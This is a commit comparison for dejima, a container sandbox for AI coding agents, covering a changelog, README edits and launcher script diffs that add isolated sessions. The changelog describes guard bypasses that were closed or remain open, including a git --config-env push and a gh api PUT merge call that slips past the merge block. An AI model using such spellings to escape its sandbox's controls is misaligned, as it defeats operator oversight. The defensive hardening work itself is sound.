Compare commits
62
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f679e5d59f | ||
|
|
d41483e073 | ||
|
|
6bf63c8325 | ||
|
|
0936ac80ac | ||
|
|
f35556ee0b | ||
|
|
5f595de0ab | ||
|
|
31e7b869c3 | ||
|
|
9acc280e03 | ||
|
|
55046cf863 | ||
|
|
a88c994954 | ||
|
|
0ffdfa6da2 | ||
|
|
2bee0e8b70 | ||
|
|
a822e19fd0 | ||
|
|
449ba3023d | ||
|
|
3cf12910f3 | ||
|
|
54f0dac269 | ||
|
|
075fcd1def | ||
|
|
d111bf0aed | ||
|
|
6aacfbd8dd | ||
|
|
53a448bc43 | ||
|
|
6bf9a1b60f | ||
|
|
cbdac96133 | ||
|
|
0eb418266c | ||
|
|
a53936b10c | ||
|
|
505c6f0623 | ||
|
|
7776aa3298 | ||
|
|
2a9606d873 | ||
|
|
885423a0a8 | ||
|
|
bec542ca48 | ||
|
|
402fac5d5d | ||
|
|
2d462ea53c | ||
|
|
8bea036701 | ||
|
|
8b9c94bfc5 | ||
|
|
43ac721355 | ||
|
|
60d0b8ec97 | ||
|
|
f0513208a1 | ||
|
|
a6e1de5f30 | ||
|
|
60d6736e37 | ||
|
|
b36e7c935f | ||
|
|
ebf3b1dfe1 | ||
|
|
84ed923f85 | ||
|
|
770e8778be | ||
|
|
ba3615ec4b | ||
|
|
83f9fcfe7f | ||
|
|
a687d1793b | ||
|
|
537ab56b04 | ||
|
|
a72ea3dcda | ||
|
|
006a2319e7 | ||
|
|
c9064053ab | ||
|
|
57317e14ec | ||
|
|
dd9fc844df | ||
|
|
b41097c253 | ||
|
|
f9f7a3f60f | ||
|
|
af6913ebbe | ||
|
|
e2a7dcd4dd | ||
|
|
a6585dd050 | ||
|
|
b142c31b22 | ||
|
|
c5b3c5d222 | ||
|
|
3d2e3d2699 | ||
|
|
503addfc8b | ||
|
|
a279460318 | ||
|
|
76a5c5202e |
@@ -171,7 +171,11 @@ jobs:
|
||||
# otherwise refuses --jobs outright when GNU parallel is absent.
|
||||
- run: |
|
||||
chown -R node:node .
|
||||
su node -c "TERM=xterm-256color bats --jobs $(nproc) --no-parallelize-across-files test/${{ matrix.suite }}.bats"
|
||||
# DEJIMA_TEST_CONCURRENCY is what this job asks the machine for, which
|
||||
# the fixtures that wait on a bounded deadline multiply their bounds
|
||||
# by - see test/fixtures/loadscale.py. One suite per job here, so it
|
||||
# is the --jobs value and nothing more.
|
||||
su node -c "TERM=xterm-256color DEJIMA_TEST_CONCURRENCY=$(nproc) bats --jobs $(nproc) --no-parallelize-across-files test/${{ matrix.suite }}.bats"
|
||||
|
||||
shellcheck:
|
||||
# Its own job rather than a matrix entry: it installs a different package,
|
||||
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
# Changelog
|
||||
|
||||
[← dejima README](README.md)
|
||||
|
||||
What each release changed, newest first, for one question: **should I update,
|
||||
and what will I be getting.** `dejima --version` says which release the
|
||||
checkout you are running is on.
|
||||
|
||||
A release is a date - `2026.10.13` - and the git tag of that name on `main` is
|
||||
where it lives. A date rather than a version number because the useful fact
|
||||
about a release is how old it is, and because `MAJOR.MINOR` would be a promise
|
||||
about compatibility and patch lines that this project does not make.
|
||||
|
||||
**No release here is supported.** The tip of `main` is the only supported
|
||||
version, and that is not a formality: there are no maintenance branches, no
|
||||
backports and no security releases for older tags. A tag is a record of what
|
||||
shipped so you can tell what you are missing - not a version to stay on. See
|
||||
[SECURITY.md](SECURITY.md).
|
||||
|
||||
Entries name what an operator would notice. The full detail is in the pull
|
||||
requests, which are linked.
|
||||
|
||||
## Unreleased
|
||||
|
||||
Nothing yet. The release pull request that merges `development` into `main`
|
||||
replaces this heading with the date it merges, and tags `main` with the same
|
||||
date.
|
||||
|
||||
## 2026.10.13
|
||||
|
||||
The first release with a version number. Everything before it is `unreleased`,
|
||||
and a checkout from before this tag reports itself that way.
|
||||
|
||||
144 commits, PRs #360 to #399.
|
||||
|
||||
### New
|
||||
|
||||
- **`dejima --isolated`** runs a session with nothing before it and nothing
|
||||
after it: no project mounted, no memory or transcript across either
|
||||
boundary, no forge credential unless the same command names a forge, and a
|
||||
`~/shared` made fresh for that session alone. For a disposable experiment,
|
||||
or anything that should not be able to read what an earlier session did.
|
||||
Supported on every shipped harness.
|
||||
([#390](https://gitbox.branderson.io/dejima/dejima/pulls/390),
|
||||
[docs](docs/configuration.md#isolated-sessions))
|
||||
- **`dejima-allow` takes up to twenty domains at once**, printed back one per
|
||||
line and confirmed before any is added. One domain is unchanged.
|
||||
([#383](https://gitbox.branderson.io/dejima/dejima/pulls/383))
|
||||
- **`dejima --version`**, a version on the startup banner, and an update
|
||||
notice that names the release you would be getting rather than only a commit
|
||||
count.
|
||||
|
||||
### Tightened
|
||||
|
||||
Each of these refuses or withholds something a previous release allowed.
|
||||
|
||||
- **The host entry is clamped to the ports it was told to open**, and the
|
||||
clamp is now matched *before* the wider rules. Configuring one host-resident
|
||||
service opened every port the host publishes, including sshd and the
|
||||
remote-access front door.
|
||||
([#371](https://gitbox.branderson.io/dejima/dejima/pulls/371),
|
||||
[#399](https://gitbox.branderson.io/dejima/dejima/pulls/399))
|
||||
- **The staged `~/.claude.json` carries the launching project's entry and no
|
||||
other.** A session was handed the name of every project on the host, a
|
||||
sample of each one's filenames, and what each had cost.
|
||||
([#381](https://gitbox.branderson.io/dejima/dejima/pulls/381))
|
||||
- **The real model credential is mounted only when it is this backend's own
|
||||
credential and the proxy is off for it.** A backend needing no credential at
|
||||
all - a model you serve yourself - was handed the real subscription login.
|
||||
([#399](https://gitbox.branderson.io/dejima/dejima/pulls/399))
|
||||
- **git's `--config-env` no longer walks past the push guard.** It sets a
|
||||
pushurl the way `-c` does, and in its separated spelling the guard read its
|
||||
value as the subcommand - so a push checked against neither the host
|
||||
allowlist nor the blocked branch.
|
||||
([#399](https://gitbox.branderson.io/dejima/dejima/pulls/399))
|
||||
- **The push and merge guards are one policy, read out of argv**, closing
|
||||
several spellings that walked past them.
|
||||
([#372](https://gitbox.branderson.io/dejima/dejima/pulls/372),
|
||||
[#374](https://gitbox.branderson.io/dejima/dejima/pulls/374))
|
||||
- **Every store dejima keeps out of a session's reach is warned about** when
|
||||
it sits inside the mounted project, not three of the six.
|
||||
([#399](https://gitbox.branderson.io/dejima/dejima/pulls/399))
|
||||
|
||||
### What an existing config stops being able to do
|
||||
|
||||
Read this part before updating. All of these fail closed, and the first fails
|
||||
quietly.
|
||||
|
||||
- **A host-resident Loki or self-served model configured by NAME needs
|
||||
`EGRESS_HOST_PORTS` set to its port.** The clamp is matched before the open
|
||||
class now, so an address permitted by name no longer reaches the host on
|
||||
every port. A literal address with an explicit port is handled for you. The
|
||||
model fails loudly - the session cannot reach it - but **the log shipper
|
||||
fails silently**: network logging simply stops. The policy's own summary
|
||||
line, `host <addr> on ports none`, is where that shows up.
|
||||
- **A configured `ssh_key` now withdraws your forwarded ssh-agent from the
|
||||
container entirely.** Choosing a dedicated key has to mean your personal
|
||||
identities are not in there, rather than merely not the default. If a
|
||||
session used the key for the forge and the agent for anything else - a
|
||||
second remote, a private submodule - the second half stops working.
|
||||
([#375](https://gitbox.branderson.io/dejima/dejima/pulls/375))
|
||||
- **An empty `ssh_key` file now counts as no key at all.** A pushing workflow
|
||||
with an empty key file and no agent is refused where it used to start and
|
||||
fail at the push. With an agent running it starts, and now says that the
|
||||
forwarded agent is still signing - which is what configuring a key is meant
|
||||
to prevent.
|
||||
([#375](https://gitbox.branderson.io/dejima/dejima/pulls/375))
|
||||
- **Under the github forge, `gh api` is held to this repository.** A call
|
||||
naming no endpoint under `repos/<this repo>/` is refused - `gh api user`,
|
||||
`rate_limit`, an org endpoint - as are graphql mutations and reading a body
|
||||
from a file (`-F x=@file`, `--input`). An agent that used `gh api` for
|
||||
anything outside the repository will notice.
|
||||
([#372](https://gitbox.branderson.io/dejima/dejima/pulls/372),
|
||||
[#373](https://gitbox.branderson.io/dejima/dejima/pulls/373))
|
||||
|
||||
### Known limitations
|
||||
|
||||
Not changes - things this release does not do, worth knowing before relying
|
||||
on the ones above.
|
||||
|
||||
- **The host clamp covers the bridge gateway only.** The host's other
|
||||
addresses - its `docker0` address when the run network is a different
|
||||
bridge, and its LAN address - are not in it, so a service configured at the
|
||||
host's LAN IP is still permitted on every port by the open class.
|
||||
([#401](https://gitbox.branderson.io/dejima/dejima/issues/401))
|
||||
- **The merge block reads subcommands, not API endpoints.** `gh api -X PUT
|
||||
repos/<owner>/<name>/pulls/<n>/merge` names this repository, so the scoping
|
||||
check passes and nothing else sees a merge in it.
|
||||
([#402](https://gitbox.branderson.io/dejima/dejima/issues/402))
|
||||
|
||||
### Fixed
|
||||
|
||||
- The egress policy's resolver checks had no name to check when the forge
|
||||
ranges came from a cache file rather than fetched, which is how CI supplies
|
||||
them - so every container in a CI run failed to come up. An ordinary
|
||||
launch, whose ranges URL always has a host, was unaffected.
|
||||
([#386](https://gitbox.branderson.io/dejima/dejima/pulls/386))
|
||||
- GitHub's `/meta` ranges are fetched once per CI run rather than once per
|
||||
container, and a rate limit is waited out instead of failing the run.
|
||||
([#378](https://gitbox.branderson.io/dejima/dejima/pulls/378))
|
||||
- Test-suite reliability: a self-check retry that could not see its own
|
||||
failure, deadlines that scale with what a run asked of the machine, and a
|
||||
teardown race that failed CI intermittently.
|
||||
([#379](https://gitbox.branderson.io/dejima/dejima/pulls/379),
|
||||
[#385](https://gitbox.branderson.io/dejima/dejima/pulls/385))
|
||||
- A harness's per-run configuration is seeded from a staging directory that
|
||||
goes away with the launch, rather than written onto the host where it will
|
||||
live. For cline that is what lets `--isolated` work at all; for an ordinary
|
||||
launch the end state is unchanged.
|
||||
([#393](https://gitbox.branderson.io/dejima/dejima/issues/393))
|
||||
|
||||
### Documentation
|
||||
|
||||
Two review passes over the whole tree corrected documents that stated the
|
||||
opposite of the code - including what Ctrl-Z does, what the sandbox tells a
|
||||
session about a hung connection, and what dejima gives you on its own, without
|
||||
any of the sister projects around it.
|
||||
([#370](https://gitbox.branderson.io/dejima/dejima/pulls/370),
|
||||
[#377](https://gitbox.branderson.io/dejima/dejima/pulls/377),
|
||||
[#391](https://gitbox.branderson.io/dejima/dejima/pulls/391))
|
||||
|
||||
### Rollback
|
||||
|
||||
This release adds no config key, so the previous `main` accepts any config
|
||||
this one accepts. Rolling back restores the behaviour the "stops being able
|
||||
to" section describes, including the host entry being reachable on every port.
|
||||
@@ -151,6 +151,9 @@ what each one buys, what goes wrong without it, and where each one's boundary
|
||||
ends. None of them is required to run dejima; what they change is what the
|
||||
layer below the container costs, and whether anyone finds out.
|
||||
|
||||
**→ [Using dejima on its own](docs/threat-model.md#using-dejima-on-its-own)** -
|
||||
what holds without them, what does not, and what to do about it.
|
||||
|
||||
**→ [Why a container, and not a microVM?](docs/threat-model.md#why-a-container-and-not-a-microvm)** -
|
||||
the most common question about this design, and why the effort went into the
|
||||
layers below the container rather than into a harder one.
|
||||
@@ -247,6 +250,7 @@ Applications, scopes `write:repository` and `write:issue`) into
|
||||
```sh
|
||||
dejima # sandbox the current directory
|
||||
dejima ~/repos/some-project
|
||||
dejima --isolated # no project at all - see below
|
||||
```
|
||||
|
||||
Point it at a project, ask for a change, and let the session work. What happens
|
||||
@@ -295,6 +299,23 @@ dejima --ro ~/other-project ~/myproject
|
||||
**→ [docs/configuration.md](docs/configuration.md#one-off-mounts-for-a-single-launch)** -
|
||||
both forms, and which host paths a mount is refused over and why.
|
||||
|
||||
### A session with no project
|
||||
|
||||
`dejima --isolated` is the other direction: nothing of your machine is
|
||||
mounted, no memory or transcript crosses either boundary, no forge credential
|
||||
unless the same command names a forge, and the one thing that outlives the
|
||||
session is a `~/shared` made fresh for it. Run it from anywhere - the
|
||||
directory you are in is not used, and naming one is refused rather than
|
||||
ignored, so a launch cannot look like it is working on a project it cannot
|
||||
see.
|
||||
|
||||
It narrows what a session can read of the host and what credential it carries.
|
||||
It is not a stronger sandbox: the firewall, the credential boundary and the
|
||||
capability drops are what they are for every other session.
|
||||
|
||||
**→ [docs/configuration.md](docs/configuration.md#isolated-sessions)** - the
|
||||
table of what differs, and what the mode gives up.
|
||||
|
||||
**Ctrl-Z backgrounds dejima's host side**, and `fg` brings back a working
|
||||
session. It gets your terminal back rather than pausing the agent - the
|
||||
container keeps running - so for a session you want to leave working and pick
|
||||
@@ -409,7 +430,8 @@ broken tool. IPv6 is refused outright rather than allowlisted: a sandbox has no
|
||||
IPv6 egress at all, and one table states that in the same transaction as
|
||||
everything else, so there is no moment where the family is partly filtered.
|
||||
|
||||
The allowlist covers what the sandbox needs to function - DNS, the Docker host,
|
||||
The allowlist covers what the sandbox needs to function - DNS, the Docker host
|
||||
on the ports a host-resident service was configured on and no others,
|
||||
GitHub on port 443 for read access whichever forge is selected, whatever the
|
||||
selected forge needs, the harness's own update endpoints, and the selected
|
||||
backend's API endpoint when the credential proxy is off - plus whatever a
|
||||
@@ -703,6 +725,7 @@ and how to run them.
|
||||
| [ci.md](docs/ci.md) | What push access grants on your CI host, and how to bound it |
|
||||
| [remote-access.md](docs/remote-access.md) | Picking and verifying a bind address, and the SSH and web front doors |
|
||||
| [development.md](docs/development.md) | The file map, the test suites, running them |
|
||||
| [CHANGELOG.md](CHANGELOG.md) | What each release changed, for deciding whether to update |
|
||||
| [SECURITY.md](SECURITY.md) | What dejima claims, where to report a vulnerability, and what is promised in return |
|
||||
| [ATTRIBUTION.md](ATTRIBUTION.md) | Who holds the dejima marks and what may be done with them |
|
||||
|
||||
|
||||
@@ -75,6 +75,10 @@ Whoever deploys this is responsible for the result.
|
||||
The tip of `main`, and nothing else. There are no maintenance branches, no
|
||||
backports and no security releases for older tags or commits.
|
||||
|
||||
Releases are tagged by date so you can tell what you are running -
|
||||
`dejima --version` - and [CHANGELOG.md](CHANGELOG.md) says what each one
|
||||
changed. A tag is a record of what shipped, not a version anyone may stay on.
|
||||
|
||||
## No warranty
|
||||
|
||||
The software is provided without warranty of any kind. See sections 15 and 16
|
||||
|
||||
+652
-50
@@ -20,6 +20,28 @@ set -euo pipefail
|
||||
# so a mistyped invocation still fails a script. That split is the whole of
|
||||
# what #64 asked for: bare invocation keeps its terse line, --help explains.
|
||||
case "${1:-}" in
|
||||
--version)
|
||||
# Before any config is read, like --help: the moment someone asks
|
||||
# which release they are on is often the moment something else is
|
||||
# wrong. The version library and nothing else - it is pure functions
|
||||
# with no config and no other library behind it, so there is one
|
||||
# implementation of this rather than an inline copy that can drift
|
||||
# from the one the banner and the update notice use.
|
||||
_v_dir="$(cd "$(dirname "$(readlink -f "${BASH_SOURCE[0]}")")" && pwd)"
|
||||
# shellcheck source=dejima-version-lib.sh
|
||||
source "$_v_dir/dejima-version-lib.sh"
|
||||
_v_root="$(cd "$_v_dir/.." && pwd)"
|
||||
_v="$(dejima_version "$_v_root")"
|
||||
case "$_v" in
|
||||
unknown) echo "dejima unknown (not a git checkout)" ;;
|
||||
unreleased) echo "dejima unreleased (no release tag in this checkout)" ;;
|
||||
*+*) echo "dejima $_v (${_v#*+} commits past ${_v%%+*})" ;;
|
||||
*) echo "dejima $_v" ;;
|
||||
esac
|
||||
echo ""
|
||||
echo "What each release changed: $_v_root/CHANGELOG.md"
|
||||
echo "Only the tip of main is supported - see SECURITY.md."
|
||||
exit 0 ;;
|
||||
-h|--help)
|
||||
cat <<'DEJIMA_HELP'
|
||||
dejima - run an agent harness in a container that cannot reach your machine
|
||||
@@ -50,12 +72,12 @@ Options (each overrides the config file for one launch only):
|
||||
--no-epitaph keep nothing if this session compacts
|
||||
--no-firewall disable the egress firewall entirely (debugging only)
|
||||
--no-pause do not wait for a keypress before the image build
|
||||
--isolated no project, no memory, no forge; keeps only ~/shared
|
||||
--print-config print every key as it resolves, and exit
|
||||
--print-briefing print the briefing the agent will get, and exit
|
||||
-h, --help this message
|
||||
-h, --help this message; --version prints this release
|
||||
|
||||
Every --no-* flag only ever narrows. Nothing here turns a setting back on: a
|
||||
config that says off is a decision, not a default to override in passing.
|
||||
Every --no-* flag only ever narrows; a config that says off is a decision.
|
||||
|
||||
Config lives in ~/.config/dejima/config; [core] harness must be set there.
|
||||
DEJIMA_HELP
|
||||
@@ -80,6 +102,8 @@ source "$SCRIPT_DIR/dejima-color-lib.sh"
|
||||
source "$SCRIPT_DIR/dejima-slug-lib.sh"
|
||||
# shellcheck source=dejima-harness-lib.sh
|
||||
source "$SCRIPT_DIR/dejima-harness-lib.sh"
|
||||
# shellcheck source=dejima-version-lib.sh
|
||||
source "$SCRIPT_DIR/dejima-version-lib.sh"
|
||||
# fd 2: everything this script says for itself goes to stderr, so the
|
||||
# session's own stdout stays exactly what the container wrote.
|
||||
color_init 2
|
||||
@@ -147,6 +171,19 @@ _set_override() {
|
||||
done
|
||||
FLAG_OVERRIDES=(${kept[@]+"${kept[@]}"} "$key=$value")
|
||||
}
|
||||
|
||||
# Whether a flag has already set $1, for the defaults --isolated applies after
|
||||
# the loop. Flag order on the command line is arbitrary, so this is asked
|
||||
# rather than inferred from when a flag ran: `--isolated --forge <name>` and
|
||||
# `--forge <name> --isolated` have to mean the same thing.
|
||||
_override_set() {
|
||||
local key="$1" entry
|
||||
for entry in ${FLAG_OVERRIDES[@]+"${FLAG_OVERRIDES[@]}"}; do
|
||||
[ "${entry%%=*}" = "$key" ] || continue
|
||||
return 0
|
||||
done
|
||||
return 1
|
||||
}
|
||||
_need_value() {
|
||||
[ -n "${2:-}" ] && [ "${2:0:2}" != "--" ] || {
|
||||
echo "$1 requires a value" >&2
|
||||
@@ -236,9 +273,24 @@ NO_LOG=0
|
||||
# Launch-scoped, like NO_LOG: initialised here so an inherited environment
|
||||
# variable of the same name cannot decide it.
|
||||
NO_PAUSE=0
|
||||
# A session with nothing before it and nothing after it: no project mounted,
|
||||
# no memory, no transcript, and a ~/shared of its own that no other session
|
||||
# has written to or will read. What survives it is that directory and the
|
||||
# branches it pushed.
|
||||
#
|
||||
# A flag and no config key, deliberately. Every other narrowing here has a
|
||||
# [section] key behind it because a machine can sensibly prefer it always;
|
||||
# this one changes what the session IS rather than how much it may do, and a
|
||||
# file that silently decided it would make the next launch's answer to "where
|
||||
# is my work" depend on a line nobody reread.
|
||||
DEJIMA_ISOLATED=0
|
||||
# Whether the operator wrote `--`, so an isolated launch can tell a project
|
||||
# path it must refuse from harness arguments it must pass through. Both arrive
|
||||
# here as positionals once the loop breaks.
|
||||
DEJIMA_ARGS_ONLY=0
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--) shift; break ;;
|
||||
--) DEJIMA_ARGS_ONLY=1; shift; break ;;
|
||||
--print-config) PRINT_CONFIG=1; shift ;;
|
||||
--print-briefing) PRINT_BRIEFING=1; shift ;;
|
||||
--no-firewall) _set_override core.firewall off; shift ;;
|
||||
@@ -255,6 +307,7 @@ while [ $# -gt 0 ]; do
|
||||
# reach its prompt, and does not want that recorded as a preference
|
||||
# for the launch they run by hand tomorrow.
|
||||
--no-pause) NO_PAUSE=1; shift ;;
|
||||
--isolated) DEJIMA_ISOLATED=1; shift ;;
|
||||
--no-log) _set_override logging.loki_url ""
|
||||
_set_override logging.conversation off
|
||||
NO_LOG=1; shift ;;
|
||||
@@ -287,6 +340,60 @@ while [ $# -gt 0 ]; do
|
||||
esac
|
||||
done
|
||||
|
||||
# An isolated launch reaches no forge and is not told to push, unless this
|
||||
# command says otherwise.
|
||||
#
|
||||
# The flag narrows, like every other one here, and the forge credential is the
|
||||
# widest thing a session gets: a forge token is commonly account-wide rather
|
||||
# than per repository, so a session holding one can read and write everything
|
||||
# the operator can. Carrying that by default into the mode whose purpose is a
|
||||
# session you are not watching is the wrong way round - the host is narrowed
|
||||
# to nothing and the forge is left at full reach.
|
||||
#
|
||||
# Applied after the loop rather than in it, so `--isolated --forge <name>` and
|
||||
# `--forge <name> --isolated` agree: naming either on the same command line is
|
||||
# how an operator asks for a session that clones and opens a pull request,
|
||||
# which is a real use of this mode and not something to make impossible.
|
||||
#
|
||||
# A configured ssh key is untouched, because an isolated launch is not where
|
||||
# that requirement lives - so a session with no forge still holds a key that
|
||||
# can reach a host over ssh (#392). The forwarded agent is not in the same
|
||||
# position: the workflow this sets pushes nothing, and a workflow that never
|
||||
# pushes already gets no agent socket.
|
||||
#
|
||||
# And the two things that are off because nothing would read what they
|
||||
# produce: an epitaph and a conversation log are both read out of a
|
||||
# transcript on the host, and this mode mounts none. Set as overrides rather
|
||||
# than checked at each of the four places that would otherwise ask - the
|
||||
# banner, --print-config, the shipper's start and the epitaph's save - so
|
||||
# that every one of them gives the same answer.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
_override_set core.forge || _set_override core.forge none
|
||||
_override_set core.workflow || _set_override core.workflow local-only
|
||||
_override_set epitaph.enabled || _set_override epitaph.enabled off
|
||||
_override_set logging.conversation || _set_override logging.conversation off
|
||||
fi
|
||||
|
||||
# Refused rather than dropped. A configured mount is a standing preference and
|
||||
# an isolated launch simply does not apply it, with a line saying so; --ro and
|
||||
# --rw are the operator typing a path in this command, and the only two honest
|
||||
# answers to "mount this, in a session that mounts nothing" are to refuse or
|
||||
# to contradict them.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ] && [ -n "$FLAG_MOUNTS" ]; then
|
||||
echo "--isolated mounts nothing of the host, so it cannot take --ro or --rw:" >&2
|
||||
# One per line, read rather than word-split: a path may contain a space,
|
||||
# and the list is colon-separated precisely because it may not contain one
|
||||
# of those.
|
||||
while IFS= read -r _m; do
|
||||
[ -n "$_m" ] || continue
|
||||
printf ' %s\n' "$_m" >&2
|
||||
done < <(printf '%s\n' "$FLAG_MOUNTS" | tr ':' '\n')
|
||||
echo "" >&2
|
||||
echo "Hand the session what it needs through ~/shared, which is the one" >&2
|
||||
echo "directory an isolated session shares with you." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Wraps config_get so a flag wins over the file for the rest of this run.
|
||||
# Defined here rather than in the library because an override is a property
|
||||
# of one invocation of this launcher, not of the config file.
|
||||
@@ -562,18 +669,55 @@ export DEJIMA_GITHUB_PUSH
|
||||
# AUDIT_DIR, BASELINE_DIR and SANDBOX_EXTRA_MOUNTS are pure config reads (or,
|
||||
# for WORKSPACE_DIR, a default-to-pwd with an existence check) - no side
|
||||
# effects a print-and-exit needs to avoid.
|
||||
WORKSPACE_DIR="${1:-$(pwd)}"
|
||||
if [ ! -d "$WORKSPACE_DIR" ]; then
|
||||
echo "Not a directory: $WORKSPACE_DIR" >&2
|
||||
exit 1
|
||||
fi
|
||||
shift || true
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
# Refused rather than ignored. A path here would be read as the project
|
||||
# this session is for, and nothing afterwards would contradict that - the
|
||||
# directory simply would not be there. The operator may be anywhere;
|
||||
# saying so is the point of the flag.
|
||||
if [ "$DEJIMA_ARGS_ONLY" = 0 ] && [ $# -gt 0 ]; then
|
||||
echo "--isolated takes no project directory, and would not mount $1." >&2
|
||||
echo "Run it from anywhere: the working directory is the container's own." >&2
|
||||
exit 1
|
||||
fi
|
||||
# Container-local, and outside $HOME on purpose - a handful of host-side
|
||||
# reads below take this path (an origin URL for the forge sentence, the
|
||||
# self-hosting check), and a path an operator might plausibly have would
|
||||
# have them read a real directory of theirs. Created in the image.
|
||||
WORKSPACE_DIR=/dejima/work
|
||||
else
|
||||
WORKSPACE_DIR="${1:-$(pwd)}"
|
||||
if [ ! -d "$WORKSPACE_DIR" ]; then
|
||||
echo "Not a directory: $WORKSPACE_DIR" >&2
|
||||
exit 1
|
||||
fi
|
||||
shift || true
|
||||
|
||||
if [ "${1:-}" = "--" ]; then
|
||||
shift
|
||||
fi
|
||||
# The flag loop stops at the first positional, so anything after the path
|
||||
# is the harness's - including `--isolated`, which was then passed
|
||||
# through as a harness argument while the project was mounted read-write.
|
||||
# An operator typing `dejima ~/proj --isolated` has asked for the one
|
||||
# thing that silently did not happen, so it is refused unless `--` says
|
||||
# the rest is deliberately not dejima's.
|
||||
if [ "$DEJIMA_ARGS_ONLY" = 0 ]; then
|
||||
for _arg in "$@"; do
|
||||
[ "$_arg" = "--" ] && break
|
||||
[ "$_arg" = "--isolated" ] || continue
|
||||
echo "--isolated after the project directory would be passed to the" >&2
|
||||
echo "harness, and this launch would mount $WORKSPACE_DIR read-write." >&2
|
||||
echo "" >&2
|
||||
echo "Put it before the path, or rather: --isolated takes no path at" >&2
|
||||
echo "all. If the harness is meant to receive it, separate it with --." >&2
|
||||
exit 1
|
||||
done
|
||||
unset _arg
|
||||
fi
|
||||
|
||||
WORKSPACE_DIR="$(cd "$WORKSPACE_DIR" && pwd)"
|
||||
if [ "${1:-}" = "--" ]; then
|
||||
shift
|
||||
fi
|
||||
|
||||
WORKSPACE_DIR="$(cd "$WORKSPACE_DIR" && pwd)"
|
||||
fi
|
||||
|
||||
# Resolved here, with the workspace, rather than beside the other approval
|
||||
# reads further down: --print-briefing composes and exits well before those,
|
||||
@@ -581,7 +725,29 @@ WORKSPACE_DIR="$(cd "$WORKSPACE_DIR" && pwd)"
|
||||
# they decide. That is not hypothetical - the same ordering already caught
|
||||
# DEJIMA_RW_MOUNTS, whose sentence went missing from --print-briefing while
|
||||
# real sessions were told correctly.
|
||||
PROJECT_STORE="$(resolve_project_store "$WORKSPACE_DIR")"
|
||||
#
|
||||
# Left empty for an isolated launch, and NOT resolved first and discarded:
|
||||
# resolve_project_store walks upwards from the path it is given, so a launch
|
||||
# from $HOME on a host whose dotfiles were once approved as a project would
|
||||
# find that project's store - and with it the domains it may reach and the
|
||||
# dependencies baked into its image. A directory the operator happens to be
|
||||
# standing in decides nothing here, which is most of what the flag means.
|
||||
#
|
||||
# Every project-scoped read below is already guarded on this being non-empty
|
||||
# - the corpus paragraph, the approved tools, the allowed domains, the
|
||||
# dependency layer - so one empty assignment covers all four.
|
||||
#
|
||||
# It is not the only thing covering them, and that is deliberate rather than
|
||||
# redundant. The working directory above is container-local, so even a
|
||||
# resolver call here would be asking about /dejima/work rather than about
|
||||
# wherever the operator was standing. Either of the two closes the leak on
|
||||
# its own, and they answer different questions: that one is about where the
|
||||
# session runs, this one about what it is entitled to. A test that reverses
|
||||
# both is in project.bats, because reversing either alone proves nothing.
|
||||
PROJECT_STORE=""
|
||||
if [ "$DEJIMA_ISOLATED" = 0 ]; then
|
||||
PROJECT_STORE="$(resolve_project_store "$WORKSPACE_DIR")"
|
||||
fi
|
||||
|
||||
# Whether this project has been approved to keep its history as evidence, and
|
||||
# so gets the commit-granularity paragraph in its briefing.
|
||||
@@ -645,11 +811,36 @@ unset _tools_wanted _tool
|
||||
|
||||
AUDIT_DIR="$(config_get audit dir)"
|
||||
BASELINE_DIR="$(config_get audit baselines_dir)"
|
||||
|
||||
# A [mounts] list as this launch should see it: every entry is a host path
|
||||
# that outlives the session, so an isolated launch gets none of them.
|
||||
#
|
||||
# Dropped rather than refused, unlike --ro and --rw. These are a standing
|
||||
# preference about ordinary work, written once and inherited by every launch;
|
||||
# refusing them would mean an operator with a [mounts] readonly line could
|
||||
# never use this flag at all. The notice below is what keeps that from being
|
||||
# silent, because a directory that is simply absent inside the container is
|
||||
# the least informative way to find out.
|
||||
_mounts_list() {
|
||||
[ "$DEJIMA_ISOLATED" = 0 ] || return 0
|
||||
config_get mounts "$1"
|
||||
}
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
_dropped=""
|
||||
for _key in readonly read_write read_write_per_project; do
|
||||
[ -n "$(config_get mounts "$_key")" ] || continue
|
||||
_dropped="${_dropped:+$_dropped, }[mounts] $_key"
|
||||
done
|
||||
[ -z "$_dropped" ] \
|
||||
|| echo "Isolated: $_dropped not applied - nothing of the host is mounted." >&2
|
||||
unset _dropped _key
|
||||
fi
|
||||
|
||||
# Read before either guard runs, because what this list declares becomes
|
||||
# something the other two lists are refused for naming - see PP_PROJECT_ROOTS.
|
||||
SANDBOX_RW_PP_MOUNTS="$(config_get mounts read_write_per_project)"
|
||||
SANDBOX_RW_PP_MOUNTS="$(_mounts_list read_write_per_project)"
|
||||
|
||||
SANDBOX_EXTRA_MOUNTS="$(config_get mounts readonly)"
|
||||
SANDBOX_EXTRA_MOUNTS="$(_mounts_list readonly)"
|
||||
SANDBOX_EXTRA_MOUNTS="$(_append_mounts "$SANDBOX_EXTRA_MOUNTS" \
|
||||
${EXTRA_RO_FLAGS[@]+"${EXTRA_RO_FLAGS[@]}"})"
|
||||
|
||||
@@ -716,6 +907,34 @@ _harness_host_config() {
|
||||
}
|
||||
_harness_host_config
|
||||
|
||||
# The read-write mounts against the harness's host paths, once more, for a
|
||||
# list rebuilt after harness_prepare_config. The pass that runs with the rest
|
||||
# of the mount validation is the guard; this one holds the same rule over
|
||||
# entries that did not exist when it ran.
|
||||
#
|
||||
# Only the read-write lists: a read-only mount over a harness's own config is
|
||||
# refused on its own path further up, and that list does not change here.
|
||||
_refuse_rw_over_harness_host_config() {
|
||||
local rw rw_real guarded guarded_real
|
||||
HARNESS_HOST_CONFIG=()
|
||||
_harness_host_config
|
||||
for rw in ${RW_MOUNT_PATHS[@]+"${RW_MOUNT_PATHS[@]}"}; do
|
||||
rw_real="$(readlink -m "$rw")"
|
||||
for guarded in ${HARNESS_HOST_CONFIG[@]+"${HARNESS_HOST_CONFIG[@]}"}; do
|
||||
guarded_real="$(readlink -m "$guarded")"
|
||||
_paths_overlap "$rw_real" "$guarded_real" || continue
|
||||
echo "Refusing writable mount: $rw" >&2
|
||||
echo "It overlaps $guarded_real, which the selected harness reads on the" >&2
|
||||
echo "host - so a session could rewrite what the next one runs with." >&2
|
||||
echo "" >&2
|
||||
echo "This path became the harness's only once its per-run configuration" >&2
|
||||
